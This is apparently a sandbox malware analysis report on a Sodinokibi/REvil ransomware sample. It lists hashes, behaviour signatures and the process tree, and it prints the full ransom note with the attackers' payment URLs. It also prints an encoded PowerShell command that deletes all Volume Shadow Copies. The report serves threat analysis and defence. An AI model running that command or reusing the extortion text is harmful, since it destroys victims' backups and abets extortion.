Resubmissions

03/02/2025, 21:57

250203-1t5hmsvmat10

03/02/2025, 04:37

250203-e896saslgn10

31/01/2025, 18:35

250131-w8gmxatmc110

Analysis

  • max time kernel
    726s
  • max time network
    546s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20250128-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250128-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    03/02/2025, 04:37

General

  • Target
    bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
  • Size 166KB
  • Sample250203-e896saslgn
  • SHA256 2a28f11ca820bd0bde24d41cb5307c8f2fa70174536ac13a99923ba70015b36f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Path
  • C:\Users\k85t8-readme.txt

  • sodinokibi

Ransom Note
  • ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension k85t8. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F2E6B83FA5913629 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/F2E6B83FA5913629 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: z3HcKSJxvaxjBdi+2yKwIN/ecrWAvTXuDr82QHEDGn4wKzo6+xExkhL2T+xBiPMQ bp3vlLd0F2eoSQmmYa/tyqGyUj791g4bwiGPVvKVpt1KEvjkocRLn6GHPjZGOC2y wQZmOlWGhHjBOc40Qj+ie/HXZAbzcX7511zxXi9XpqNNjM8gy87u04qdcEwF78Be 8YFvIOhiLFCFxwxZV0rY/ZVgTlAXFMbQkllCZUVN4eef2U52l2mSgccekE1i9vNs ctQ73KLuRlV+EUyZJpGSu5p4JBYiBMwT8fEcyTJ0L+s74lkkAeXSFZQP4O5VggY2 IOIu1MZ30meYinGKIOhH7K8lWc9+rDq4BSz0fFlBf6+XSdQJdWcA47xatS3mfgZr UJ5q+h6NlSiYzO4psyKS5OPtxKI2HuzkdRXOe/qbnsru5WzupX+93UnqRXMMQ8xk x+zCfPFePHdG4PoqwZ+3BWprTdy/p4PpGjDqCQL06kuSIuW23Qv4ea6EjVgrasMI ZD6GBdqBq708T/cFU3l590X3HDR+tHtnTfezDGCESCkh9jMKxnHU9Ktrw5t/F26s VQUpdl9UsVB+bXMdrpoRujkDSNY1oFYj+d4Q8pKoWnFKxFrWMpxlRt0c8G+42sgv J7kRHks3eCmfVzm0RVIzFO9cH/0eiKdgKZUJxQstdeBMpuP9XwzVN7GQH89zqgmD 98ijwcm5vimBGhABDUO6779rI0Th8iTy2qp9nt36/QQwUx6t5diY/1xWokWx976N 6M670aSMqWXkBCNnSf/r5EXxvSgQmT3uTFUVnOoLznV3FHtnlPa90szmDS3+BVIn vTgYTnN5EI9FkxZs+Sv2Jh9KUTc3nqapFQvcahI5oeTADcf35FWVZyM2bM4NVnKw ltz66zV9nHyHwhFHm4sOQ0FPZmhzwLn5ITgAk3G/4+pQEmG3R494/OXnd0znqDLX dGtxZ8RiSJWC8zpEChnMg2XgScGaRLgOaIY1DC4+5skcmRfayfN5zkZ3Eww2fDxi x9OKFa0rPFkB7WOlZM7btsg/4Rhbq4VUQ5lpVPYxr/zU8Q/GsaXe/Kkr0F6zk+Cn LIQyO680iKvMBli/cKKk8xOLyd1dXiqQswKL3EG9JGPaBDWfR+g1K21qQJggcpU5 womcVmDYrtSLl+lab+1Dpkal/bCizBMSWyoZNumUGoX420q2GTqOH4a+wLwvB/iQ lGn5wE5RC0tP4xuqv/bcVxx+hiu9ThAIMMCwOuBKviHE6UeicCQpupnZ3LJadQnJ Mn0kzHBAzA5w1kzZA9CcqX5YewFpZUx2oOvl3NDxs0SKOnfXYpIA1NZwFPHCTEIv NbN7mPbqlNsOwRpOCy+PeWiyKG6p67OhTmNtioyn9+bvbzwYnN9BUxlUyYtknCKY gjU5TR3/7qg= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs
  • http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F2E6B83FA5913629

  • http://decryptor.cc/F2E6B83FA5913629

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Sodinokibi family
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 27 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3892
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
      2⤵
      • Enumerates connected drives
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3864
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1744
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1692
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:648

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_xj3zla0w.vpg.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xj3zla0w.vpg.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          k85t8-readme.txt

          • Path C:\Users\k85t8-readme.txt
          • Size 6KB
          • SHA256 75ec37d415d3f7c56794aef9a468a6983c3974ac29fd43891a4846742b58b229
          • MD5 SHA1 SHA512 SSDEEP

          memory/1744-0-0x00007FFA319A3000-0x00007FFA319A5000-memory.dmp

          memory/1744-10-0x000002AABE9A0000-0x000002AABE9C2000-memory.dmp

          memory/1744-11-0x00007FFA319A0000-0x00007FFA32462000-memory.dmp

          memory/1744-12-0x00007FFA319A0000-0x00007FFA32462000-memory.dmp

          memory/1744-13-0x00007FFA319A0000-0x00007FFA32462000-memory.dmp

          memory/1744-16-0x00007FFA319A0000-0x00007FFA32462000-memory.dmp